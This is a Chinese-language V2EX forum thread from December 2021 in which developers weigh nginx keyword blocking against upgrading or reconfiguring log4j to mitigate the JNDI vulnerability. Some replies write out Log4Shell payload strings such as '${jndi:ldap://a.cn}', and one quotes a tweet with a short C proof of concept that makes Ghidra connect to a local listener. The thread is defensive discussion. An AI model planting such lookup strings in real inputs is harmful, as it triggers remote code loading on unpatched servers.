关于 log4j 的一种临时解决方案

2021-12-13 15:58:11 +08:00
 amrom

最近看到很多讨论 log4j 的那个 bug ,修复方案很多,但是基本都要动线上服务,我分享一种思路,大伙帮忙看下: 使用 nginx 来拦截指定关键字,不知道这样可行不

2962 次点击
所在节点    Java
13 条回复
yanqiyu
2021-12-13 16:00:54 +08:00
类似于 WAF ,应该好使,但是你怎么保证你的关键字拦截包含了所有情况?
比如某个后端程序会对请求里面的 base64 字段解码后写日志,这时候关键字不就不好使了
amrom
2021-12-13 16:02:20 +08:00
@yanqiyu nginx 拦截应该可以应对起码一半以上的情况,不能拦截文本中的内容,或者加密后的东西,只能当作一种临时方案,给后端服务留下时间修复
liuidetmks
2021-12-13 16:02:30 +08:00
有时候,参数是加密的,或者参数是 base64 之后的 ,不同业务甚至叠加了各种 encode
zeni123
2021-12-13 18:42:31 +08:00
还是得用 java instrumentation ,因为你不知道 你的包的依赖里面藏了一个 log4j
a398058068
2021-12-13 18:45:59 +08:00
spring boot + lombok 用 @sl4j2 注解 ,切换上层日志框架 基本 0 成本
BeautifulSoap
2021-12-13 18:48:04 +08:00
拦截不光要拦截 url 还得拦截 post/put 等的 payload
通过车 websocks 的话也要处理
还有上传的文件内容、文件名之类的
zeni123
2021-12-13 18:54:18 +08:00
@BeautifulSoap 两个值加起来的这种已有可能成功吧 ,可以用特殊字符 log.info("value is {} and {}", var1,var2); 可能性太多了
podel
2021-12-13 19:00:55 +08:00
有很多陈年老服务甚至都不维护了。一丁点配置改动都不敢动。
楼主应该说的这种情况。
xuanbg
2021-12-13 19:29:03 +08:00
拦截肯定不能完全拦住,那就等于没拦。

pom 文件里面指定一下版本再重新打包发布很难吗?
izoabr
2021-12-13 22:55:27 +08:00
没用,都用 WAF 拦都抗不过一会儿一个变种 payload
dallaslu
2021-12-14 11:27:33 +08:00
还有第三方接口的返回内容。比如微信昵称叫,支付宝商品名,都有可能是 ${jndi:ldap://a.cn}
ikas
2021-12-14 13:47:01 +08:00
如果你的部署没有禁止 mbean 连接,可以使用 mbean 动态修改配置...

1.打开 jconsole,连接你的 app,然后找到 org.apache.logging.log4j2..
2.找到 操作>getConfigText ,参数填写 utf-8,然后执行获取当前配置,复制配置,修改好
3.找到 操作>setConfigText,参数填写(配置 text,utf-8),然后执行
fengjianxinghun
2021-12-14 15:14:55 +08:00
甚至二进制文件里带 jndi 。。。。

```
https://twitter.com/zhuowei/status/1469176410170437634

Zhuowei Zhang
@zhuowei
ghidra_10.0.2_PUBLIC $ find . -name "*.jar"|grep log
./Ghidra/Framework/Generic/lib/log4j-core-2.12.1.jar
./Ghidra/Framework/Generic/lib/log4j-api-2.12.1.jar
./Ghidra/Features/GhidraServer/data/yajsw-stable-12.12/lib/core/commons/commons-logging-1.1.jar

crap

1:25 PM · Dec 10, 2021

https://twitter.com/zhuowei/status/1469186818549719042

Zhuowei Zhang
@zhuowei
Ghidra's vulnerable to log4j:
__attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}")))
int a = 1;
int main(){}
$ gcc hello.c
$ nc -l 1234
Load into Ghidra; it connects to 127.0.0.1:1234.
Ghidra 10.0.2, macOS OpenJDK Corretto 11.0.4.11.1

2:06 PM · Dec 10, 2021
```

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/821897

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX